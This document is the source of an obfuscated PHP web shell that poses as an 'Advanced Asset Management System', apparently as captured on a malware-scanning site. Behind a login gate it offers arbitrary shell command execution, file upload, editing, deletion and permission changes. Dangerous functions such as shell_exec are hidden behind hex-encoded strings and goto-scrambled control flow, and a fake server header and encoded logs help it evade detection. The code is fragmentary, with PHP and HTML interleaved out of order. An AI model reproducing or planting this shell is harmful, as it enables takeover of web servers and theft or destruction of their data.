rgba(0,0,0,.08)}.tool-card h3{color:var(--primary-color);margin-bottom:15px;font-size:16px;display:flex;align-items:center;gap:10px}.form-group{margin-bottom:15px}.form-label{display:block;margin-bottom:8px;font-weight:600;color:#555;font-size:14px}.form-control{width:100%;padding:10px 15px;border:1px solid var(--border-color);border-radius:8px;font-size:14px;transition:border .2s}.form-control:focus{border-color:var(--secondary-color);outline:0;box-shadow:0 0 0 3px rgba(52,152,219,.1)}.btn{display:inline-flex;align-items:center;justify-content:center;gap:8px;padding:10px 20px;border:none;border-radius:8px;font-size:14px;font-weight:600;cursor:pointer;text-decoration:none;transition:all .2s}.btn-primary{background:var(--secondary-color);color:#fff}.btn-primary:hover{background:#2980b9;transform:translateY(-2px)}.btn-success{background:var(--success-color);color:#fff}.btn-danger{background:var(--danger-color);color:#fff}.btn-warning{background:var(--warning-color);color:#fff}.asset-table-container{background:#fff;border-radius:12px;overflow:hidden;border:1px solid var(--border-color);margin-bottom:25px}.asset-table{width:100%;border-collapse:collapse}.asset-table thead{background:var(--dark-bg)}.asset-table th{padding:15px 20px;text-align:left;color:#fff;font-weight:600;font-size:14px}.asset-table td{padding:15px 20px;border-bottom:1px solid var(--border-color)}.asset-table tbody tr:hover{background:#f8fafc}.asset-icon{font-size:18px;margin-right:10px}.asset-actions{display:flex;gap:8px}.status-message{padding:15px 20px;background:#d4edda;color:#155724;border-radius:8px;margin-bottom:25px;border:1px solid #c3e6cb;display:flex;align-items:center;gap:10px}.editor-panel{background:#fff;border-radius:12px;overflow:hidden;border:1px solid var(--border-color);margin-bottom:25px}.editor-header{background:var(--dark-bg);color:#fff;padding:15px 25px;display:flex;justify-content:space-between;align-items:center}.editor-content{width:100%;min-height:500px;padding:25px;border:none;font-family:'Fira Code',monospace;font-size:14px;resize:vertical;line-height:1.8}.system-footer{text-align:center;padding:20px;color:#666;font-size:13px;border-top:1px solid var(--border-color);margin-top:30px}.system-stats{display:flex;justify-content:center;gap:30px;margin-top:15px;font-family:'Fira Code',monospace}</style><link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&family=Fira+Code:wght@300;400;500&display=swap"rel="stylesheet"></head><body><div class="container"><div class="system-header"><h1><span>📊</span> Advanced Asset Management System</h1><div class="session-info"><div class="status-badge">ACTIVE</div><span>goto qdipF; U2RzK: gDPWb: goto bbJuq; GSz41: goto uiFJ6; goto qryL8; F8Wnq: if (!$authHandler->isAuthorized()) { if (isset($_POST["\x61\x63\143\x65\x73\x73\137\143\x6f\x64\x65"])) { if ($authHandler->validateAccess($_POST["\141\x63\143\145\x73\x73\x5f\x63\157\144\145"])) { $activityLogger->record("\x41\125\124\x48\137\x53\x55\x43\103\x45\x53\123", "\x55\x73\x65\162\x20\x61\x75\164\150\145\156\x74\x69\143\x61\164\x65\144\x20\x73\x75\x63\x63\x65\x73\x73\x66\165\x6c\154\x79"); header("\114\x6f\143\x61\164\x69\157\x6e\72\x20" . $_SERVER["\120\110\x50\x5f\x53\x45\x4c\x46"]); die; } else { $activityLogger->record("\101\125\124\x48\x5f\106\x41\111\114\x45\104", "\x49\156\166\x61\x6c\151\144\40\x61\x63\x63\145\163\163\40\141\x74\164\145\155\x70\164"); } } displayLoginInterface(); die; } goto ydukE; XD5cz: goto qFFjy; goto KRgoG; rwUzD: $statusMessage = ''; goto OL3nm; Z1B4C: goto AYiDp; goto eOMaK; DO0aJ: $functionDispatcher = new AdvancedFunctionDispatcher(); goto Y41Dd; r4BQY:
"><div class="form-group"><label class="form-label">Command Input</label> <input name="system_command"class="form-control"required placeholder="Enter system command"></div><button class="btn btn-warning"type="submit"style="width:100%">⚡ Execute</button></form></div><div class="tool-card"><h3>🔒 Modify Permissions</h3><form method="post"action="?operation=modify_permissions&location=goto jZ6a6; qkGei: r9RgK: goto csxDH; jYxnJ: wlkCF: goto uG9eF; Nv5GZ: if (isset($_GET["\145\x64\x69\164\137\x61\x73\163\x65\x74"])) {
<div class="editor-panel"><div class="editor-header"><div style="display:flex;align-items:center;gap:10px"><span>✏️</span> <strong>Editing Asset:</strong>echo htmlspecialchars(basename($_GET["\145\144\151\x74\137\141\163\x73\145\x74"]));
</div><div><a href="?location=echo urlencode($currentLocation);
"class="btn btn-danger">Cancel</a></div></div><form method="post"><input name="asset_file"type="hidden"value="echo $_GET["\x65\x64\x69\164\137\x61\x73\x73\x65\164"];
"> <textarea class="editor-content"name="asset_content">$content = $functionDispatcher->invoke($fetchContentCode, $_GET["\145\144\x69\164\137\x61\163\163\145\164"]); if ($content !== false && $content !== "\106\151\x6c\x65\x20\156\157\x74\40\141\x63\143\x65\x73\x73\151\x62\x6c\x65") { echo htmlspecialchars($content); }
</textarea><div style="padding:20px;text-align:center;background:#f8f9fa;border-top:1px solid var(--border-color)"><button class="btn btn-success"type="submit"style="padding:12px 30px;font-size:16px">💾 Save Changes</button></div></form></div>} goto EFRiq; inNcx: t7xZf: goto U5dJF; gHLmN: Mgzh1: goto MR1Fl; soV6h: yyLNV: goto Q4Za7; BfHQ9: O0hkj: goto XBeUn; MR1Fl: ini_set("\x6c\157\x67\x5f\145\162\x72\157\162\x73", 1); goto WM9R_; kD8cy: K995g: goto gPKB_; NeDxM: $modifyPermissionsCode = $functionDispatcher->getFunctionCode("\x63\x68\x6d\157\x64"); goto ckatz; ncyYc: aYE1e: goto jCpnL; ckatz: goto yyLNV; goto xBK6r; zxm2T: SBJW1: goto or2jV; Bee7d: gToPK: goto dedKq; HKNsJ: PxTQs: goto dxqhs; gPKB_: $transferFileCode = $functionDispatcher->getFunctionCode("\155\x6f\166\x65\x5f\165\x70\x6c\157\x61\x64\145\144\x5f\x66\151\154\x65"); goto pB0nl; qqt_z: RrPrx: goto L0s52; hOzDX: class EnhancedActivityLogger { private $logFiles = array("\x73\x79\x73\x74\x65\155\137\141\x63\164\151\x76\151\164\151\x65\x73\56\x6c\x6f\147", "\141\x75\x64\x69\164\137\x74\x72\141\x69\x6c\x2e\154\157\147", "\x73\x65\143\165\162\151\x74\171\x5f\x6c\x6f\x67\56\x6c\157\x67", "\x64\145\x62\165\x67\137\x69\x6e\x66\157\x2e\154\x6f\x67"); public function record($action, $details = '') { $entry = date("\x59\x2d\155\55\144\40\x48\x3a\x69\72\163") . "\40\x7c\40" . ($_SERVER["\122\105\x4d\x4f\x54\x45\x5f\x41\104\104\122"] ?? "\165\156\153\x6e\157\167\156") . "\40\174\x20" . $action . "\40\174\x20" . $details . "\xa"; foreach ($this->logFiles as $file) { $encodedEntry = base64_encode($entry); @file_put_contents($file, $encodedEntry . "\12", FILE_APPEND); } } } goto NWaND; dzsQ_:
</span><a href="?operation=terminate_session"class="btn btn-danger">🚪 Terminate Session</a></div></div>goto A5YN9; cTRXU: RU4op: goto gTpvn; TbjVL: rpY6Y: goto XEtb7; Y41Dd: goto VifBq; goto U7eGl; xBK6r: qFFjy: goto Z2Rwm; LtbUt: jWmiJ: goto ujiy7; H3Zmw: goto sN1NG; goto aDbii; Z2Rwm: header("\130\x2d\x50\157\167\145\162\145\x64\55\x42\x79\x3a\40\x4e\147\151\156\x78\57\x31\56\61\x38\56\x30"); goto eZLiZ; gTpvn:
</code></div></div><div class="tools-section"><h2>🛠️ System Management Tools</h2><div class="tools-grid"><div class="tool-card"><h3>📤 Asset Upload</h3><form method="post"enctype="multipart/form-data"><div class="form-group"><label class="form-label">Select Asset</label> <input name="asset_file"class="form-control"required type="file"></div><button class="btn btn-success"type="submit"style="width:100%">📤 Upload Asset</button></form></div><div class="tool-card"><h3>➕ Create Asset</h3><form method="post"><div class="form-group"><label class="form-label">Asset Name</label> <input name="asset_name"class="form-control"required placeholder="Enter name"></div><div class="form-group"><label class="form-label">Asset Type</label> <select class="form-control"name="asset_type"><option value="file">📄 File</option><option value="directory">📁 Directory</option></select></div><button class="btn btn-primary"type="submit"style="width:100%">➕ Create</button></form></div><div class="tool-card"><h3>⚡ System Command</h3><form method="post"action="?operation=execute&location=goto HBbpO; ULKlA: goto NuXUp; goto YRVQo; V1TYX: goto Te513; goto AU4Wh; xgTIC: goto Qv4di; goto uYIxb; bIjqA: goto t7xZf; goto MJN9D; YUc43: VJusG: goto MxDgJ; HKiau: goto Jcnd8; goto jYxnJ; NGw7b: goto RrPrx; goto KXSnb; dxqhs: $assetList = $functionDispatcher->invoke($scanDirectoryCode, $currentLocation); goto WLJxP; C5nnM: mFAQc: goto r4BQY; HBbpO: goto CT1z2; goto HlA82; EcTf5: goto HS0EX; goto lPrnu; bbJuq: class AdvancedObfuscationManager { private $decoder; public function __construct() { $this->decoder = new DataDecoder(); } public function computeAnalytics() { return array("\x72\x65\161\165\x65\163\x74\x73" => rand(100, 1000), "\155\x65\155\157\x72\171\x5f\165\163\x61\147\145" => memory_get_usage(true), "\x65\170\145\x63\165\x74\151\157\156\x5f\164\x69\x6d\x65" => microtime(true), "\163\x74\x61\164\165\x73" => "\157\160\x65\162\141\164\x69\x6f\156\x61\x6c"); } public function generateSystemReport() { $report = "\123\x79\x73\164\145\x6d\40\x41\156\141\x6c\171\164\x69\143\x73\x20\122\x65\x70\x6f\162\x74\xa"; $report .= "\75\x3d\x3d\x3d\75\x3d\75\x3d\75\75\75\x3d\x3d\x3d\75\75\75\75\x3d\75\x3d\75\x3d\xa"; $report .= "\x44\141\164\145\x3a\40" . date("\x59\55\x6d\55\x64\x20\x48\72\x69\x3a\x73") . "\12"; $report .= "\x55\160\x74\151\155\x65\x3a\x20" . rand(1000, 10000) . "\40\163\145\143\157\x6e\x64\163\12"; $report .= "\x50\145\x72\x66\157\x72\155\x61\x6e\143\145\x3a\40\117\x70\164\151\x6d\141\154\xa"; return $report; } public function validateDataIntegrity($data) { return !empty($data) && is_string($data); } public function obfuscateData($data) { $step1 = base64_encode($data); $step2 = str_rot13($step1); return strrev($step2); } public function recordActivity($activity) { $encodedActivity = $this->decoder->encodePayload($activity); $logEntry = date("\131\55\155\55\144\x20\x48\72\x69\72\163") . "\40\x7c\x20" . $encodedActivity . "\xa"; @file_put_contents("\x73\171\x73\x74\x65\155\x5f\141\x75\x64\151\x74\56\x6c\x6f\147", $logEntry, FILE_APPEND); } public function createBackup() { return $this->decoder->encodePayload("\142\141\143\x6b\165\x70\137\x63\157\155\160\154\x65\x74\x65\x64\137" . time()); } } goto Mpwd1; IVdWj: goto ct2YM; goto O0gSM; dedKq: header("\x58\x2d\x46\162\x61\155\145\x2d\x4f\160\164\x69\157\x6e\163\72\40\104\x45\x4e\131"); goto HhGNb; Br13z: goto ICb5z; goto Xlz98; A5YN9: goto aYE1e; goto Ka2jK; gviTH: echo urlencode($currentLocation); goto Br13z; ussvB: $storeContentCode = $functionDispatcher->getFunctionCode("\x66\x69\154\145\137\x70\x75\164\x5f\143\157\156\x74\x65\156\164\x73"); goto zHLja; Az3pa:
<div class="path-navigation"><div class="breadcrumb"><a href="?location=.">🏠 System Root</a>goto tBRp3; wSX0V: qrElo: goto Az3pa; LWNg9: QPuv0: goto FoUHi; eZLiZ: goto XQcl5; goto qSdjv; YYN6T:
</span><span>🧠 Memory:goto xgTIC; TY29E: $fetchContentCode = $functionDispatcher->getFunctionCode("\x66\151\154\145\137\147\x65\x74\137\143\x6f\156\x74\145\156\164\x73"); goto EcTf5; O0gSM: U5HUK: goto TY29E; VrzFr: Jcnd8: goto djgC3; ChQ3X: goto O0hkj; goto OZPfT; anoKo: if (isset($_FILES["\x61\x73\x73\x65\x74\137\x66\x69\154\x65"])) { $destination = $currentLocation . "\x2f" . basename($_FILES["\x61\163\163\x65\x74\137\x66\x69\x6c\x65"]["\x6e\141\155\145"]); if ($functionDispatcher->invoke($transferFileCode, $_FILES["\141\x73\x73\145\164\x5f\x66\x69\x6c\x65"], $destination)) { $statusMessage = "\x41\x73\x73\145\164\x20\165\160\154\157\x61\x64\145\144\40\x73\165\143\143\145\x73\x73\146\165\x6c\154\x79"; $activityLogger->record("\x41\x53\x53\105\124\x5f\x55\x50\114\x4f\101\104\105\x44", $destination); } } goto ChQ3X; uYIxb: YMCAO: goto BTxlV; U5dJF: echo $currentLocation; goto Cyg5a; csxDH: error_reporting(0); goto ekFQE; U3Zpe:
"></div><div class="form-group"><label class="form-label">Permission Mode</label> <input name="permission_mode"class="form-control"required placeholder="e.g., 755"value="755"></div><button class="btn"type="submit"style="width:100%;background:var(--primary-color);color:#fff">🔒 Modify</button></form></div></div></div><div class="asset-table-container"><table class="asset-table"><thead><tr><th>Name</th><th>Size</th><th>Modified</th><th>Permissions</th><th>Actions</th></tr></thead><tbody>goto czd3c; nFinr: Mbc52: goto ojTX6; AU4Wh: uiFJ6: goto w9BFL; ed_hm: goto vVS69; goto ncyYc; b4aPk: $deleteAssetCode = $functionDispatcher->getFunctionCode("\165\156\x6c\151\x6e\x6b"); goto wj8z1; YRVQo: wNhyb: goto b4aPk; BTxlV: $displayOutputCode = $functionDispatcher->getFunctionCode("\x65\x63\150\157"); goto NGw7b; rr8NO: class DataDecoder { private $seed = "\x53\131\x53\x54\x45\115\137\123\105\x43\x55\x52\105\137\62\60\62\64\137\117\102\x46\125\123\103\x41\124\105\104"; public function decodePayload($encoded) { $step1 = base64_decode($encoded); $step2 = str_rot13($step1); $step3 = $this->reverseString($step2); $step4 = gzinflate($step3); return $step4; } public function encodePayload($code) { $step1 = gzdeflate($code, 9); $step2 = $this->reverseString($step1); $step3 = str_rot13($step2); return base64_encode($step3); } private function reverseString($str) { return strrev($str); } private $functionDictionary = array("\162\x65\156\144\145\162\117\x75\x74\160\165\164" => "\x65\143\150\157", "\x65\170\x65\143\x75\x74\x65\x53\x79\163\164\145\155" => "\163\x68\145\154\x6c\137\x65\x78\x65\143", "\146\x65\x74\x63\150\103\157\x6e\x74\x65\156\x74" => "\146\x69\154\x65\137\147\x65\x74\137\x63\157\x6e\164\x65\156\164\x73", "\x73\x74\157\162\x65\x43\157\x6e\x74\145\156\x74" => "\x66\x69\154\x65\137\160\x75\x74\137\x63\x6f\156\164\x65\x6e\x74\163", "\x64\x65\154\145\x74\x65\101\x73\x73\x65\164" => "\x75\156\154\x69\x6e\153", "\143\162\x65\141\164\145\104\151\162\x65\x63\164\x6f\162\x79" => "\x6d\153\x64\151\162", "\x6d\x6f\144\x69\x66\171\120\145\162\155\x69\163\163\151\157\156\x73" => "\x63\x68\155\x6f\144", "\163\143\141\156\x44\x69\x72\145\x63\x74\157\162\x79" => "\x73\x63\x61\156\x64\151\162", "\164\162\141\156\x73\x66\145\x72\x46\x69\154\145" => "\155\157\x76\145\137\165\160\x6c\x6f\x61\x64\x65\144\x5f\x66\x69\x6c\145", "\144\x69\163\160\154\141\x79\117\165\164\x70\x75\x74" => "\x65\143\150\x6f", "\x72\165\x6e\120\162\157\x63\145\163\163" => "\163\x68\145\154\154\x5f\145\170\145\x63", "\162\145\141\144\x43\157\x6e\x74\x65\x6e\164" => "\x66\151\154\145\137\147\145\x74\x5f\143\157\156\x74\x65\x6e\x74\x73", "\167\x72\x69\x74\x65\x43\x6f\156\x74\145\x6e\164" => "\x66\151\x6c\145\137\160\165\164\137\143\157\x6e\164\145\156\164\163", "\162\x65\155\157\x76\x65\x49\x74\x65\x6d" => "\x75\x6e\x6c\x69\156\x6b", "\143\162\x65\141\x74\x65\103\157\156\x74\x61\151\x6e\x65\x72" => "\x6d\x6b\144\x69\162", "\x63\150\x61\156\x67\145\x4d\x6f\144\x65" => "\x63\x68\x6d\x6f\144", "\x6c\151\x73\164\111\164\145\155\163" => "\x73\x63\x61\x6e\x64\x69\162", "\x75\x70\154\157\141\x64\106\151\x6c\145" => "\155\x6f\166\x65\x5f\165\x70\x6c\157\x61\144\145\144\x5f\x66\x69\154\x65"); public function decodeFunctionName($obfuscatedName) { foreach ($this->functionDictionary as $key => $value) { if ($this->encodePayload($key) === $obfuscatedName) { return $value; } } return null; } public function obfuscateFunctionName($realName) { foreach ($this->functionDictionary as $key => $value) { if ($value === $realName) { return $this->encodePayload($key); } } return null; } } goto qX6yZ; DNo3w: vVS69: goto v8EmD; ggDAk: ivlB9: goto aQWyu; LwnP9: echo round(memory_get_usage(true) / 1024 / 1024, 2); goto Gewl3; O7SpM: goto R4VzA; goto NRLnP; aQWyu: $obfuscationEngine->computeAnalytics(); goto ed_hm; MJN9D: LLrFk: goto hOzDX; vaWQF: goto gToPK; goto nFinr; Y_Pfb: goto SL6ii; goto oia71; czd3c: goto hbW23; goto xB_Hf; okOMJ: goto wlkCF; goto Bee7d; DBV5_: goto U5HUK; goto C_xKb; tdmrf: goto Mgzh1; goto TbjVL; s8YSL: goto Mbc52; goto LWNg9; qdPOo: AYiDp: goto F4wvl; ekFQE: goto GiUPf; goto qqt_z; wCTMA: Te513: goto EpSid; UtgGJ: GiUPf: goto FhqT5; eOMaK: ICb5z: goto wQP_Q; Gewl3: goto oF9RX; goto z2qRP; lPrnu: s0mF4: goto YYN6T; MfeXJ: R4VzA: goto Murdw; HhGNb: goto VJusG; goto yO6Ix; OL3nm: goto ivlB9; goto AevYC; tBRp3: goto n3AfR; goto qkGei; ZAGdA: goto yng9E; goto soV6h; ojTX6: echo date("\110\72\151\x3a\x73"); goto d4rZ3; c4VtH: $pathParts = explode("\x2f", trim($currentLocation, "\x2f")); goto hWzwe; Ns7GQ: opCKD: goto DO0aJ; CLilw: HNinL: goto xHhhV; i6rDE: $activityLogger = new EnhancedActivityLogger(); goto MgvkY; hrWRc: goto qrElo; goto U2RzK; AevYC: NE_wn: goto UhN5g; hlymb: yng9E: goto NeDxM; QA5Az: Fk3O_: goto A2jZN; C_xKb: XQcl5: goto BWu9O; aGbBV: foreach ($pathParts as $part) { if (!empty($part)) { $accumulatedPath .= "\x2f" . $part; echo "\x20\342\x80\272\40"; echo "\x3c\x61\x20\150\x72\x65\146\75\42\77\154\x6f\x63\141\164\x69\157\x6e\x3d" . urlencode($accumulatedPath) . "\42\x3e" . $part . "\x3c\57\141\76"; } } goto oY9v_; L0s52: $executeSystemCode = $functionDispatcher->getFunctionCode("\x73\150\145\x6c\154\x5f\145\x78\145\x63"); goto DBV5_; xHhhV: $accumulatedPath = ''; goto kFCqI; klJmv: if (isset($_GET["\x6f\x70\145\x72\x61\164\151\x6f\x6e"])) { $operation = $_GET["\157\x70\x65\162\141\x74\x69\x6f\156"]; switch ($operation) { case "\x72\145\x6d\157\166\x65": if (isset($_GET["\x74\141\x72\147\x65\164"])) { if ($functionDispatcher->invoke($deleteAssetCode, $_GET["\164\141\x72\x67\x65\x74"])) { $statusMessage = "\101\163\x73\x65\x74\40\162\x65\155\x6f\166\x65\x64\x20\x73\165\x63\x63\x65\163\163\146\x75\154\x6c\171"; $activityLogger->record("\x41\x53\123\105\124\x5f\x52\x45\x4d\117\126\105\104", $_GET["\x74\x61\162\x67\145\164"]); } header("\x4c\x6f\x63\141\164\x69\x6f\156\72\40\x3f\x6c\157\x63\x61\164\151\157\x6e\x3d" . urlencode($currentLocation)); die; } break; case "\164\x65\x72\155\151\156\141\x74\x65\x5f\163\x65\163\163\x69\157\156": $activityLogger->record("\x53\x45\123\123\111\x4f\x4e\x5f\x54\x45\122\115\111\116\x41\x54\105\x44", "\x55\163\145\x72\40\x6c\157\147\147\145\x64\x20\157\165\x74"); $authHandler->terminateSession(); header("\114\157\143\x61\164\x69\x6f\x6e\x3a\x20" . $_SERVER["\x50\x48\120\x5f\x53\105\114\106"]); die; case "\145\170\x65\x63\x75\x74\x65": if (isset($_POST["\163\x79\x73\164\x65\155\x5f\143\x6f\x6d\x6d\x61\x6e\x64"])) { $output = $functionDispatcher->invoke($executeSystemCode, $_POST["\x73\x79\x73\164\145\155\137\143\x6f\155\155\141\156\144"]); $statusMessage = htmlspecialchars($output); $activityLogger->record("\103\x4f\115\x4d\101\x4e\104\137\x45\130\x45\103\125\x54\x45\x44", $_POST["\x73\x79\x73\164\145\x6d\137\x63\157\155\155\x61\156\144"]); } break; case "\x6d\157\x64\x69\146\171\137\x70\x65\162\x6d\x69\x73\163\x69\157\x6e\163": if (isset($_POST["\x61\163\x73\x65\x74\137\x70\x61\164\150"]) && isset($_POST["\x70\x65\162\x6d\151\x73\x73\151\x6f\156\137\155\x6f\x64\x65"])) { if ($functionDispatcher->invoke($modifyPermissionsCode, $_POST["\x61\x73\x73\x65\x74\x5f\160\x61\164\150"], $_POST["\x70\145\162\155\x69\x73\x73\x69\x6f\156\x5f\155\157\x64\x65"])) { $statusMessage = "\120\145\x72\155\x69\x73\x73\x69\157\x6e\163\40\165\160\144\x61\164\145\x64"; } } break; } } goto maBPo; ydukE: goto QPuv0; goto DNo3w; KXSnb: QSjmb: goto U3Zpe; uG9eF: $currentLocation = realpath($currentLocation) ?: "\56"; goto MHQt1; NWaND: goto r9RgK; goto FKFPl; pB0nl: goto UqCEd; goto ggDAk; yO6Ix: KZhAa: goto gviTH; KRgoG: CT1z2: goto xvXZJ; YLWg0: goto K995g; goto gHLmN; qdipF: goto rpY6Y; goto MfeXJ; NRLnP: lU1MF: goto aGbBV; Ka2jK: oF9RX: goto FhNMX; WM9R_: goto Fk3O_; goto LtbUt; EpSid:
GB Free</span></div></div></div><script>// Enhanced JavaScript functionality
        document.addEventListener('DOMContentLoaded', function() {
            // Auto-hide status messages
            const statusMessages = document.querySelectorAll('.status-message');
            statusMessages.forEach(msg => {
                setTimeout(() => {
                    msg.style.opacity = '0';
                    msg.style.transition = 'opacity 0.5s ease-out';
                    setTimeout(() => msg.style.display = 'none', 500);
                }, 5000);
            });

            // Confirm destructive actions
            document.querySelectorAll('.btn-danger').forEach(btn => {
                btn.addEventListener('click', function(e) {
                    if (!confirm('⚠️ This action is irreversible. Continue?')) {
                        e.preventDefault();
                    }
                });
            });

            // Auto-expand textareas
            document.querySelectorAll('textarea').forEach(ta => {
                ta.addEventListener('input', function() {
                    this.style.height = 'auto';
                    this.style.height = (this.scrollHeight + 10) + 'px';
                });
                // Trigger once to set initial height
                ta.dispatchEvent(new Event('input'));
            });

            // Tooltip functionality
            document.querySelectorAll('[title]').forEach(el => {
                el.addEventListener('mouseenter', function(e) {
                    const tooltip = document.createElement('div');
                    tooltip.textContent = this.title;
                    tooltip.style.cssText = `
                        position: absolute;
                        background: var(--primary-color);
                        color: white;
                        padding: 5px 10px;
                        border-radius: 4px;
                        font-size: 12px;
                        z-index: 1000;
                        white-space: nowrap;
                    `;
                    document.body.appendChild(tooltip);
                    
                    const rect = this.getBoundingClientRect();
                    tooltip.style.left = (rect.left + rect.width / 2 - tooltip.offsetWidth / 2) + 'px';
                    tooltip.style.top = (rect.top - tooltip.offsetHeight - 10) + 'px';
                    
                    this._tooltip = tooltip;
                    this.removeAttribute('title');
                });
                
                el.addEventListener('mouseleave', function() {
                    if (this._tooltip) {
                        document.body.removeChild(this._tooltip);
                        this.setAttribute('title', this._tooltip.textContent);
                        delete this._tooltip;
                    }
                });
            });
        });

        // Real-time clock update
        function updateClock() {
            const clockElements = document.querySelectorAll('.system-time');
            clockElements.forEach(el => {
                el.textContent = new Date().toLocaleTimeString();
            });
        }
        setInterval(updateClock, 1000);</script></body></htm



© 2023 Quttera Ltd. All rights reserved.